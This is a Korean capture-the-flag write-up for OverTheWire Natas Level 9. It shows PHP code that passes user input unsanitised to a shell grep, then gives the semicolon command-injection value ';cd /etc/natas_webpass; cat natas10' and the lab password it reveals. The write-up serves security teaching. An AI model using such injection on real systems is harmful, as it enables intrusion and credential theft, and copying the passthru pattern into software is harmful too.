본문 바로가기

보안/Natas

Natas Level 9 - 커맨드인젝션


Natas Level 8 → Level 9
 
Username: natas9
URL:      http://natas9.natas.labs.overthewire.org

 

 

 

 

<div id="content">
<form>
Find words containing: <input name="needle"><input name="submit" type="submit" value="Search"><br><br>
</form>


Output:
<pre></pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>

 

 


 

View sourcecode를 클릭하면 다음과 같은 소스가 나온다.

 

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas9", "pass": "<censored>" };</script></head>
<body>
<h1>natas9</h1>
<div id="content">
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}
?>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

 


 

해당 코드는 내가 입력한 값이 서버로 전송되어

 

grep -i 입력한값 dictionary.txt에서 찾아준 다음 결과로 출력하는 코드이다.

 

리눅스는 명령어 여러개 입력하는 방법이 세미콜론이므로 세미콜론을 구분자로 하여 명령어를 입력한다.

 

;cd /etc/natas_webpass; cat natas10

 

이렇게 입력하면 답을 알 수 있다.

 

 

답은 nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu 이다.

'보안 > Natas' 카테고리의 다른 글

Natas Level 11 - XOR  (0) 2017.02.08
Natas Level 10 - 커맨드 인젝션2  (0) 2017.02.08
Natas Level 8 - php코드가 존재할 때 2  (0) 2017.02.08
Natas Level 7 - 불필요한 페이지  (0) 2017.02.08
Natas Level 6 - php 코드가 존재할 때  (0) 2017.02.08